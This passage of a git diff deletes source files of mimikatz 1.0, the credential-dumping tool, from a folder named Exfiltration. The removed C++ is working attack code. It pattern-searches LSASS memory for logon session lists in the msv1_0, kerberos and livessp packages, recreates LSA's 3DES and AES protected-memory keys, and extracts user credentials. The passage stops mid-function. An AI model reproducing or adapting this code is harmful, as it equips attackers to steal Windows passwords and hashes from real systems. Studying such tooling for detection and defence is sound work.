LsaCleanupProtectedMemory(); - FreeLibrary(hBCrypt); - } - return true; -} - -bool mod_mimikatz_sekurlsa_keys_nt6::LsaInitializeProtectedMemory() -{ - bool resultat = false; - - PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptOpenAlgorithmProvider")); - PBCRYPT_SET_PROPERTY K_BCryptSetProperty = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptSetProperty")); - PBCRYPT_GET_PROPERTY K_BCryptGetProperty = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptGetProperty")); - PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptGenerateSymmetricKey")); - - if(NT_SUCCESS(K_BCryptOpenAlgorithmProvider(h3DesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0)) && - NT_SUCCESS(K_BCryptOpenAlgorithmProvider(hAesProvider, BCRYPT_AES_ALGORITHM, NULL, 0))) - { - if(NT_SUCCESS(K_BCryptSetProperty(*h3DesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast(BCRYPT_CHAIN_MODE_CBC), sizeof(BCRYPT_CHAIN_MODE_CBC), 0)) && - NT_SUCCESS(K_BCryptSetProperty(*hAesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast(BCRYPT_CHAIN_MODE_CFB), sizeof(BCRYPT_CHAIN_MODE_CFB), 0))) - { - DWORD DES3KeyLen, AESKeyLen, cbLen; - - if(NT_SUCCESS(K_BCryptGetProperty(*h3DesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast(&DES3KeyLen), sizeof(DES3KeyLen), &cbLen, 0)) && - NT_SUCCESS(K_BCryptGetProperty(*hAesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast(&AESKeyLen), sizeof(AESKeyLen), &cbLen, 0))) - { - DES3Key = new BYTE[DES3KeyLen]; - AESKey = new BYTE[AESKeyLen]; - - resultat = NT_SUCCESS(K_BCryptGenerateSymmetricKey(*h3DesProvider, (BCRYPT_KEY_HANDLE *) h3DesKey, DES3Key, DES3KeyLen, kiwiRandom3DES, sizeof(kiwiRandom3DES), 0)) && - NT_SUCCESS(K_BCryptGenerateSymmetricKey(*hAesProvider, (BCRYPT_KEY_HANDLE *) hAesKey, AESKey, AESKeyLen, kiwiRandomAES, sizeof(kiwiRandomAES), 0)); - } - } - } - return resultat; -} - -bool mod_mimikatz_sekurlsa_keys_nt6::LsaCleanupProtectedMemory() -{ - PBCRYTP_DESTROY_KEY K_BCryptDestroyKey = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptDestroyKey")); - PBCRYTP_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptCloseAlgorithmProvider")); - - if (h3DesKey ) - K_BCryptDestroyKey(*h3DesKey); - if (hAesKey ) - K_BCryptDestroyKey(*hAesKey); - - if (h3DesProvider) - K_BCryptCloseAlgorithmProvider(*h3DesProvider, 0); - if (hAesProvider ) - K_BCryptCloseAlgorithmProvider(*hAesProvider, 0); - - if(DES3Key) - delete[] DES3Key; - if(AESKey) - delete[] AESKey; - - return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h deleted file mode 100644 index 9b1940a..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h +++ /dev/null @@ -1,45 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_keys_nt6 { - -private: - static HMODULE hBCrypt; - - typedef struct _KIWI_BCRYPT_KEY_DATA { - DWORD size; - DWORD tag; - DWORD type; - DWORD unk0; - DWORD unk1; - DWORD unk2; - DWORD unk3; - PVOID unk4; - BYTE data; /* etc... */ - } KIWI_BCRYPT_KEY_DATA, *PKIWI_BCRYPT_KEY_DATA; - - typedef struct _KIWI_BCRYPT_KEY { - DWORD size; - DWORD type; - PVOID unk0; - PKIWI_BCRYPT_KEY_DATA cle; - PVOID unk1; - } KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY; - - static PBYTE DES3Key, AESKey; - static PKIWI_BCRYPT_KEY * hAesKey, * h3DesKey; - static BCRYPT_ALG_HANDLE * hAesProvider, * h3DesProvider; - - static bool LsaInitializeProtectedMemory(); - static bool LsaCleanupProtectedMemory(); - -public: - static bool searchAndInitLSASSData(); - static bool uninitLSASSData(); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp deleted file mode 100644 index dae52d2..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp +++ /dev/null @@ -1,135 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "kerberos.h" -#include "..\..\global.h" -mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_kerberos::pModKERBEROS = NULL; -mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION mod_mimikatz_sekurlsa_kerberos::KerbLogonSessionList = NULL; //reinterpret_cast(NULL); -long mod_mimikatz_sekurlsa_kerberos::offsetMagic = 0; -PRTL_AVL_TABLE mod_mimikatz_sekurlsa_kerberos::KerbGlobalLogonSessionTable = NULL; //reinterpret_cast(NULL); - -bool mod_mimikatz_sekurlsa_kerberos::getKerberos(vector * arguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getKerberosLogonData, wstring(L"kerberos"))); - return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); -} - -bool mod_mimikatz_sekurlsa_kerberos::searchKerberosFuncs() -{ -#ifdef _M_X64 - BYTE PTRN_WALL_KerbUnloadLogonSessionTable[]= {0x48, 0x8b, 0x18, 0x48, 0x8d, 0x0d}; - LONG OFFS_WALL_KerbUnloadLogonSessionTable = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable); - - BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0x48, 0x3b, 0xfe, 0x0f, 0x84}; - LONG OFFS_WALL_KerbFreeLogonSessionList = -4; -#elif defined _M_IX86 - BYTE PTRN_WNO8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x1f, 0x53}; - LONG OFFS_WNO8_KerbUnloadLogonSessionTable = -(3 + 4); - BYTE PTRN_WIN8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x2b, 0x57}; // 2c au lieu de 2b pour avant le RC - LONG OFFS_WIN8_KerbUnloadLogonSessionTable = -(6 + 4); - - BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0xeb, 0x0f, 0x6a, 0x01, 0x57, 0x56, 0xe8}; - LONG OFFS_WALL_KerbFreeLogonSessionList = -4; -#endif - if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModKERBEROS && !(KerbGlobalLogonSessionTable || KerbLogonSessionList)) - { - PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; - - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - pointeur= reinterpret_cast(&KerbLogonSessionList); - pattern = PTRN_WALL_KerbFreeLogonSessionList; - taille = sizeof(PTRN_WALL_KerbFreeLogonSessionList); - offset = OFFS_WALL_KerbFreeLogonSessionList; - - if(mod_system::GLOB_Version.dwMinorVersion < 2) - offsetMagic = 8; - } - else - { - pointeur= reinterpret_cast(&KerbGlobalLogonSessionTable); - -#ifdef _M_X64 - pattern = PTRN_WALL_KerbUnloadLogonSessionTable; - taille = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable); - offset = OFFS_WALL_KerbUnloadLogonSessionTable; -#elif defined _M_IX86 - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { - pattern = PTRN_WNO8_KerbUnloadLogonSessionTable; - taille = sizeof(PTRN_WNO8_KerbUnloadLogonSessionTable); - offset = OFFS_WNO8_KerbUnloadLogonSessionTable; - } - else - { - if(mod_system::GLOB_Version.dwBuildNumber < 8400) // petite correction pour avant la RC - PTRN_WIN8_KerbUnloadLogonSessionTable[3] = 0x2c; - pattern = PTRN_WIN8_KerbUnloadLogonSessionTable; - taille = sizeof(PTRN_WIN8_KerbUnloadLogonSessionTable); - offset = OFFS_WIN8_KerbUnloadLogonSessionTable; - } -#endif - } - - if(HMODULE monModule = LoadLibrary(L"kerberos")) - { - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) - { - mod_memory::genericPatternSearch(pointeur, L"kerberos", pattern, taille, offset); - *pointeur += pModKERBEROS->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); - } - FreeLibrary(monModule); - } - } - return (pModKERBEROS && (KerbGlobalLogonSessionTable || KerbLogonSessionList)); -} - -bool WINAPI mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData(__in PLUID logId, __in bool justSecurity) -{ - if(searchKerberosFuncs()) - { - PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; - DWORD taille; - BYTE * monBuff = NULL; - - if(KerbGlobalLogonSessionTable) - { - taille = sizeof(KIWI_KERBEROS_PRIMARY_CREDENTIAL); - monBuff = new BYTE[taille]; - - if(PKIWI_KERBEROS_PRIMARY_CREDENTIAL pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(KerbGlobalLogonSessionTable, FIELD_OFFSET(KIWI_KERBEROS_PRIMARY_CREDENTIAL, LocallyUniqueIdentifier), logId))) - { - if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) - { - pLogSession = reinterpret_cast(monBuff); - mesCreds = &pLogSession->credentials; - } - } - } - else - { - taille = sizeof(KIWI_KERBEROS_LOGON_SESSION) + offsetMagic; - monBuff = new BYTE[taille]; - if(PKIWI_KERBEROS_LOGON_SESSION pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(KerbLogonSessionList), FIELD_OFFSET(KIWI_KERBEROS_LOGON_SESSION, LocallyUniqueIdentifier) + offsetMagic, logId))) - { - if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) - { - pLogSession = reinterpret_cast(monBuff); - if(offsetMagic != 0) - pLogSession = reinterpret_cast(reinterpret_cast(pLogSession) + offsetMagic); - mesCreds = &pLogSession->credentials; - } - } - } - mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity); - delete [] monBuff; - } - else (*outputStream) << L"n.a. (kerberos KO)"; - - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h deleted file mode 100644 index 1418d4f..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h +++ /dev/null @@ -1,70 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_kerberos { - -private: - typedef struct _KIWI_KERBEROS_LOGON_SESSION - { - struct _KIWI_KERBEROS_LOGON_SESSION *Flink; - struct _KIWI_KERBEROS_LOGON_SESSION *Blink; - DWORD UsageCount; - PVOID unk0; - PVOID unk1; - PVOID unk2; - DWORD unk3; - DWORD unk4; - PVOID unk5; - PVOID unk6; - PVOID unk7; - LUID LocallyUniqueIdentifier; - #ifdef _M_IX86 - DWORD unk8; - #endif - DWORD unk9; - DWORD unk10; - PVOID unk11; - DWORD unk12; - DWORD unk13; - PVOID unk14; - PVOID unk15; - PVOID unk16; - KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; - } KIWI_KERBEROS_LOGON_SESSION, *PKIWI_KERBEROS_LOGON_SESSION; - - typedef struct _KIWI_KERBEROS_PRIMARY_CREDENTIAL - { - DWORD unk0; - PVOID unk1; - PVOID unk2; - PVOID unk3; - #ifdef _M_X64 - BYTE unk4[32]; - #elif defined _M_IX86 - BYTE unk4[20]; - #endif - LUID LocallyUniqueIdentifier; - #ifdef _M_X64 - BYTE unk5[44]; - #elif defined _M_IX86 - BYTE unk5[36]; - #endif - KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; - } KIWI_KERBEROS_PRIMARY_CREDENTIAL, *PKIWI_KERBEROS_PRIMARY_CREDENTIAL; - - static PKIWI_KERBEROS_LOGON_SESSION KerbLogonSessionList; - static long offsetMagic; - static PRTL_AVL_TABLE KerbGlobalLogonSessionTable; - static bool searchKerberosFuncs(); - -public: - static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModKERBEROS; - static bool getKerberos(vector * arguments); - static bool WINAPI getKerberosLogonData(__in PLUID logId, __in bool justSecurity); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp deleted file mode 100644 index 7f64678..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp +++ /dev/null @@ -1,70 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "livessp.h" -#include "..\..\global.h" -mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_livessp::pModLIVESSP = NULL; -mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY mod_mimikatz_sekurlsa_livessp::LiveGlobalLogonSessionList = NULL;//reinterpret_cast(NULL); - -bool mod_mimikatz_sekurlsa_livessp::getLiveSSP(vector * arguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getLiveSSPLogonData, wstring(L"livessp"))); - return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); -} - -bool mod_mimikatz_sekurlsa_livessp::searchLiveGlobalLogonSessionList() -{ -#ifdef _M_X64 - BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x48, 0x83, 0x65, 0xdf, 0x00, 0x48, 0x83, 0x65, 0xef, 0x00, 0x48, 0x83, 0x65, 0xe7, 0x00}; -#elif defined _M_IX86 - BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x89, 0x5d, 0xdc, 0x89, 0x5d, 0xe4, 0x89, 0x5d, 0xe0}; -#endif - LONG OFFS_WALL_LiveUpdatePasswordForLogonSessions = -(5 + 4); - - if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModLIVESSP && !LiveGlobalLogonSessionList) - { - - PBYTE *pointeur = reinterpret_cast(&LiveGlobalLogonSessionList); - if(HMODULE monModule = LoadLibrary(L"livessp")) - { - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) - { - mod_memory::genericPatternSearch(pointeur, L"livessp", PTRN_WALL_LiveUpdatePasswordForLogonSessions, sizeof(PTRN_WALL_LiveUpdatePasswordForLogonSessions), OFFS_WALL_LiveUpdatePasswordForLogonSessions); - *pointeur += pModLIVESSP->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); - } - FreeLibrary(monModule); - } - } - return (pModLIVESSP && LiveGlobalLogonSessionList); -} - -bool WINAPI mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity) -{ - if(searchLiveGlobalLogonSessionList()) - { - PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; - BYTE * monBuffP = new BYTE[sizeof(KIWI_LIVESSP_LIST_ENTRY)], * monBuffC = new BYTE[sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL)]; - if(PKIWI_LIVESSP_LIST_ENTRY pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(LiveGlobalLogonSessionList), FIELD_OFFSET(KIWI_LIVESSP_LIST_ENTRY, LocallyUniqueIdentifier), logId))) - { - if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_LIVESSP_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) - { - pLogSession = reinterpret_cast(monBuffP); - if(pLogSession->suppCreds) - { - if(mod_memory::readMemory(pLogSession->suppCreds, monBuffC, sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) - mesCreds = &(reinterpret_cast(monBuffC)->credentials); - } - else (*outputStream) << L"n.s. (SuppCred KO) / "; - } - } - mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true); - delete [] monBuffC, monBuffP; - } - else (*outputStream) << L"n.a. (livessp KO)"; - return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h deleted file mode 100644 index 891da63..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h +++ /dev/null @@ -1,44 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_livessp { - -private: - typedef struct _KIWI_LIVESSP_PRIMARY_CREDENTIAL - { - DWORD isSupp; // 88h - DWORD unk0; - KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; - } KIWI_LIVESSP_PRIMARY_CREDENTIAL, *PKIWI_LIVESSP_PRIMARY_CREDENTIAL; - - typedef struct _KIWI_LIVESSP_LIST_ENTRY - { - struct _KIWI_LIVESSP_LIST_ENTRY *Flink; - struct _KIWI_LIVESSP_LIST_ENTRY *Blink; - PVOID unk0; // 1 - PVOID unk1; // 0FFFFFFFFh - PVOID unk2; // 0FFFFFFFFh - PVOID unk3; // 0 - DWORD unk4; // 0 - DWORD unk5; // 0 - PVOID unk6; // 20007D0h - LUID LocallyUniqueIdentifier; - LSA_UNICODE_STRING UserName; - PVOID unk7; // 2000010Dh - PKIWI_LIVESSP_PRIMARY_CREDENTIAL suppCreds; - } KIWI_LIVESSP_LIST_ENTRY, *PKIWI_LIVESSP_LIST_ENTRY; - - static PKIWI_LIVESSP_LIST_ENTRY LiveGlobalLogonSessionList; - static bool searchLiveGlobalLogonSessionList(); - -public: - static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModLIVESSP; - static bool getLiveSSP(vector * arguments); - static bool WINAPI getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp deleted file mode 100644 index 39fa015..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp +++ /dev/null @@ -1,217 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "msv1_0.h" -#include "..\..\global.h" -PLIST_ENTRY mod_mimikatz_sekurlsa_msv1_0::LogonSessionList = NULL; -PULONG mod_mimikatz_sekurlsa_msv1_0::LogonSessionListCount = NULL; - -bool mod_mimikatz_sekurlsa_msv1_0::getMSV(vector * arguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getMSVLogonData, wstring(L"msv1_0"))); - return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); -} - -bool mod_mimikatz_sekurlsa_msv1_0::searchLogonSessionList() -{ -#ifdef _M_X64 - BYTE PTRN_WIN6_LogonSessionList[] = {0x4C, 0x03, 0xD8, 0x49, 0x8B, 0x03, 0x48, 0x89};//, 0x06, 0x4C, 0x89, 0x5E}; - BYTE PTRN_WIN5_LogonSessionList[] = {0x4C, 0x8B, 0xDF, 0x49, 0xC1, 0xE3, 0x04, 0x48, 0x8B, 0xCB, 0x4C, 0x03, 0xD8}; - - LONG OFFS_WALL_LogonSessionList = -sizeof(long); - LONG OFFS_WN60_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 3 + sizeof(long)); - LONG OFFS_WN61_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long)); - LONG OFFS_WIN5_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 6 + 3 + 8 + 4 + 4 + 2 + 3 + 2 + 2 + sizeof(long)); - LONG OFFS_WIN8_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 3 + 7 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long)); -#elif defined _M_IX86 - BYTE PTRN_WNO8_LogonSessionList[] = {0x89, 0x71, 0x04, 0x89, 0x30, 0x8D, 0x04, 0xBD}; - BYTE PTRN_WIN8_LogonSessionList[] = {0x89, 0x79, 0x04, 0x89, 0x38, 0x8D, 0x04, 0xB5}; - BYTE PTRN_WN51_LogonSessionList[] = {0xFF, 0x50, 0x10, 0x85, 0xC0, 0x0F, 0x84}; - - LONG OFFS_WNO8_LogonSessionList = -(7 + (sizeof(LONG))); - LONG OFFS_WIN8_LogonSessionList = -(6 + 3 + 3 + 2 + 2 + (sizeof(LONG))); - LONG OFFS_WN51_LogonSessionList = sizeof(PTRN_WN51_LogonSessionList) + 4 + 5 + 1 + 6 + 1; - LONG OFFS_WNO8_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long)); - LONG OFFS_WIN5_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 1 + 3 + 1 + sizeof(long)); - LONG OFFS_WIN8_LogonSessionListCount = OFFS_WIN8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long)); -#endif - if(mod_mimikatz_sekurlsa::searchLSASSDatas() && mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && !LogonSessionList) - { - PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offsetListe = 0, offsetCount = 0; -#ifdef _M_X64 - offsetListe = OFFS_WALL_LogonSessionList; - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - pattern = PTRN_WIN5_LogonSessionList; - taille = sizeof(PTRN_WIN5_LogonSessionList); - offsetCount = OFFS_WIN5_LogonSessionListCount; - } - else - { - pattern = PTRN_WIN6_LogonSessionList; - taille = sizeof(PTRN_WIN6_LogonSessionList); - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - offsetCount = (mod_system::GLOB_Version.dwMinorVersion < 1) ? OFFS_WN60_LogonSessionListCount : OFFS_WN61_LogonSessionListCount; - else - offsetCount = OFFS_WIN8_LogonSessionListCount; - } -#elif defined _M_IX86 - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { - if((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) - { - pattern = PTRN_WN51_LogonSessionList; - taille = sizeof(PTRN_WN51_LogonSessionList); - offsetListe = OFFS_WN51_LogonSessionList; - } - else - { - pattern = PTRN_WNO8_LogonSessionList; - taille = sizeof(PTRN_WNO8_LogonSessionList); - offsetListe = OFFS_WNO8_LogonSessionList; - offsetCount = (mod_system::GLOB_Version.dwMajorVersion < 6) ? OFFS_WIN5_LogonSessionListCount : OFFS_WNO8_LogonSessionListCount; - } - } - else - { - pattern = PTRN_WIN8_LogonSessionList; - taille = sizeof(PTRN_WIN8_LogonSessionList); - offsetListe = OFFS_WIN8_LogonSessionList; - offsetCount = OFFS_WIN8_LogonSessionListCount; - } -#endif - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), mod_mimikatz_sekurlsa::hLsaSrv, &mesInfos, sizeof(MODULEINFO))) - { - pointeur = reinterpret_cast(&LogonSessionList); - if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetListe)) - { - *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); - if(offsetCount) - { - pointeur = reinterpret_cast(&LogonSessionListCount); - if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetCount)) - *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); - } - } - } - } - return (mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && LogonSessionList && (((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) || LogonSessionListCount)); -} - -bool WINAPI mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData(__in PLUID logId, __in bool justSecurity) -{ - if(searchLogonSessionList()) - { - LONG offsetToLuid, offsetToCredentials; - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, LocallyUniqueIdentifier); - offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, Credentials); - } - else - { - offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, LocallyUniqueIdentifier); - offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, Credentials); - if(mod_system::GLOB_Version.dwBuildNumber >= 8000) // pas encore pris le temps de regarder les structures de 8 - { -#ifdef _M_X64 - offsetToCredentials += 4*sizeof(PVOID); -#elif defined _M_IX86 - offsetToCredentials += 2*sizeof(PVOID); -#endif - } - } - - ULONG nbListes = 0; - if(LogonSessionListCount) - mod_memory::readMemory(LogonSessionListCount, &nbListes, sizeof(nbListes), mod_mimikatz_sekurlsa::hLSASS); - else nbListes = 1; - - PLIST_ENTRY pLogSession = NULL; - for(ULONG i = 0; i < nbListes; i++) - { - if(pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(LogonSessionList + i), offsetToLuid, logId)) - { - BYTE * kiwiMSVListEntry = new BYTE[offsetToCredentials + sizeof(PVOID)]; - if(mod_memory::readMemory(pLogSession, kiwiMSVListEntry, offsetToCredentials + sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) - { - PVOID monPtr = *reinterpret_cast(kiwiMSVListEntry + offsetToCredentials); - if(monPtr) - { - BYTE * kiwiMSVCredentials = new BYTE[sizeof(KIWI_MSV1_0_CREDENTIALS)]; - if(mod_memory::readMemory(monPtr, kiwiMSVCredentials, sizeof(KIWI_MSV1_0_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS)) - { - PKIWI_MSV1_0_CREDENTIALS mesCreds = reinterpret_cast(kiwiMSVCredentials); - if(mesCreds->PrimaryCredentials) - { - BYTE * kiwiMSVPrimaryCredentials = new BYTE[sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS)]; - if(mod_memory::readMemory(mesCreds->PrimaryCredentials, kiwiMSVPrimaryCredentials, sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS)) - { - decryptAndDisplayCredsBlock(&reinterpret_cast(kiwiMSVPrimaryCredentials)->Credentials, justSecurity); - } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_PRIMARY_CREDENTIALS KO)"; - delete [] kiwiMSVPrimaryCredentials; - - } else (*outputStream) << L"n.s. (PrimaryCredentials KO)"; - - }else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_CREDENTIALS KO)"; - delete [] kiwiMSVCredentials; - - } else (*outputStream) << L"n.s. (Credentials KO)"; - - } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_LIST KO)"; - delete [] kiwiMSVListEntry; - - break; - } - } - if(!pLogSession) - (*outputStream) << L"n.t. (LUID KO)"; - } - else (*outputStream) << L"n.a. (msv1_0 KO)"; - return true; -} - -bool mod_mimikatz_sekurlsa_msv1_0::decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity) -{ - if(monBlock->Length > 0 && monBlock->MaximumLength > 0 && monBlock->Buffer) - { - BYTE * monBuffer = new BYTE[monBlock->MaximumLength]; - if(mod_memory::readMemory(monBlock->Buffer, monBuffer, monBlock->MaximumLength, 